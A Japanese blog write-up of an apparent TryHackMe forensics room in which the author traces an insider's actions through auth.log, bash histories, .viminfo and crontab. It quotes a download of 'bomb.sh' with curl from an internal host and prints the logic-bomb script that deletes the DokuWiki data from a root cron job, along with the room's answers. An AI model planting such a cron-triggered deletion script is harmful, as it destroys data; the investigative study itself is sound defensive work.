概要
最近忙しくてあまりできてなかったのですが,久しぶりにTHMをやってみました.
今回はこちらをやります.
Writeup
Task1 & Task2
まず標的のマシンにSSHでログインしていきます.
ssh root@{マシンのIPアドレス}
Task2はLinuxのコマンドチートシートみたいな感じですかね.
特に必要ない人はいらないかなと思います.
Task3
root権限で何かをインストールしたみたいですね.
アドバイスとしては[Look at the privileged commands that were run. ]とあります.特権コマンドを見ろとのことですね.
Q1:The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?
取り合えずインストールログを見てみましょう.
-
~/.bash_history
を見てみます
exit
cd .ssh
ls
automat-visualize3
cat authorized_keys
nano authorized_keys
cat authorized_keys
exit
cat .ssh/authorized_keys
exit
sshの設定をしてるくらいですかね?automat-visualize3って何でしょう?
特に関係なさそうですね.
-
/var/log/auth.log
を見てみます
ログの量が多いのでgrepで絞ります
cat /var/log/auth.log | grep sudo
いくつか出てきますがその中に以下のような何かをインストールしている怪しいログがありました.
sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/bin/apt install dokuwiki
これの/usr/bin/apt install dokuwiki
が答えですね.
Q2:What was the present working directory (PWD) when the previous command was run?
実行された時の作業ディレクトリは上のログより/home/cybert
ですね.
Task4
Q1:Which user was created after the package from the previous task was installed?
先ほどのdokuwiki
がインストールされた直後に作成されたユーザは先ほどと同様のログの中に書いてあります.
sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/adduser it-admin
it-admin
ですね.
Q2:A user was then later given sudo priveleges. When was the sudoers file updated? (Format: Month Day HH:MM:SS)
このユーザにsudo権限が付与された時間を特定します.
この情報はいままでのログファイルの中にはないみたいですね.
なのでsudoersファイルのタイムスタンプを見てみます.
root@ip-10-10-149-152:/etc# stat sudoers
File: sudoers
Size: 807 Blocks: 8 IO Block: 4096 regular file
Device: 10302h/66306d Inode: 55419 Links: 1
Access: (0440/-r--r-----) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2024-06-05 09:51:43.311999988 +0000
Modify: 2022-12-28 06:27:45.717125559 +0000
Change: 2022-12-28 06:27:45.717125559 +0000
これかなと思いましたが違いましたね.
ヒントを見てみるとsudoersファイルの編集時にはvisudo
が呼ばれるみたいです.
さっきのログファイルであってたんですね.
cat /var/log/auth.log | grep visudo
で検索してみます.
Dec 28 06:27:34 ip-10-10-168-55 sudo: cybert : TTY=pts/0 ; PWD=/home/cybert ; USER=root ; COMMAND=/usr/sbin/visudo
が答えになります.
Q3:A script file was opened using the "vi" text editor. What is the name of this file?
viエディタを使って開いたファイルの名前についてですね
こちらも先ほどのログの中にありました.
bomb.sh
です.いかにもやばそうなshファイルですね.
Task5
Q1:What is the command used that created the file bomb.sh?
bomb.sh
の作成に使われたコマンドについてですね.
先ほどまでのログでbomb.sh
について検索してみましたが特に何も出てきませんでした.
なのでsudo権限で作成されたユーザであるit-admin
のログを見てみます.
cd /home/it-admin
cat ./.bash_history
以下がその実行結果です.
whoami
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
ls
ls -la
cd ~/
curl 10.10.158.38:8080/bomb.sh --output bomb.sh
sudo vi bomb.sh
ls
rm bomb.sh
sudo nano /etc/crontab
exit
curlでダウンロードしてきてるみたいですね.curl 10.10.158.38:8080/bomb.sh --output bomb.sh
が答えになります.
Q2:The file was renamed and moved to a different directory. What is the full path of this file now?
bomb.sh
のファイル名を変更してどこかに移動したみたいですね.
ヒントを見ると,.viminfo
でvi
の履歴が確認できるみたいですね.
cat .viminfo | grep bomb
これでは特に何も出てきませんでした.
cat .viminfo | grep sh
これで検索してみると以下のようなものがヒットしました.
:saveas /bin/os-update.sh
|2,0,1672208983,,"saveas /bin/os-update.sh"
'0 6 0 /bin/os-update.sh
|4,48,6,0,1672208992,"/bin/os-update.sh"
-' 6 0 /bin/os-update.sh
|4,39,6,0,1672208992,"/bin/os-update.sh"
-' 1 0 /bin/os-update.sh
|4,39,1,0,1672208955,"/bin/os-update.sh"
> /bin/os-update.sh
:saveas
コマンドがあるので何か別のファイル名を変更して保存したんですかね?
答えは/bin/os-update.sh
でした.
Q3:When was the file from the previous question last modified? (Format: Month Day HH:MM)
/bin/os-update.sh
は最後にいつ変更されたかについてですね.
stat
コマンドでタイムスタンプを見てみます.
stat /bin/os-update.sh
File: /bin/os-update.sh
Size: 325 Blocks: 8 IO Block: 4096 regular file
Device: 10302h/66306d Inode: 26 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-12-28 06:29:43.998004273 +0000
Modify: 2022-12-28 06:29:43.998004273 +0000
Change: 2022-12-28 06:29:43.998004273 +0000
Birth: -
この結果よりDec 28 06:29
が答えですね.
Q4:What is the name of the file that will get created when the file from the first question executes?
bomb.sh
が実行されるときに作成されるファイル名についてですね.
これはbomb.sh(/bin/os-update.sh)
を見てみましょう.
cat /bin/os-update.sh
# 2022-06-05 - Initial version
# 2022-10-11 - Fixed bug
# 2022-10-15 - Changed from 30 days to 90 days
OUTPUT=`last -n 1 it-admin -s "-90days" | head -n 1`
if [ -z "$OUTPUT" ]; then
rm -r /var/lib/dokuwiki
echo -e "I TOLD YOU YOU'LL REGRET THIS!!! GOOD RIDDANCE!!! HAHAHAHA\n-mistermeist3r" > /goodbye.txt
fi
it-admin
の最初のログインから90日経ったらdokuwikiを削除するコマンドみたいですね.
答えはgoodbye.txt
です.
Task6
Q1:At what time will the malicious file trigger? (Format: HH:MM AM/PM)
この/bin/so-update.sh
はいつ実行(dokuwikiディレクトリの削除)されるかですね.
先ほどのログ/home/it-admin/.bash_history
の中にcrontabを設定してるログがあったので見てみます.
cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
0 8 * * * root /bin/os-update.sh
最後の行に/bin/os-update.sh
の定期実行が確認できますね.これが定期実行される時間は毎日午前8時ですね.
なので答えは08:00 AM
となります.
最後に
久しぶりのTHMでしたが内容的にもかなり簡単だったので解きやすかったですね.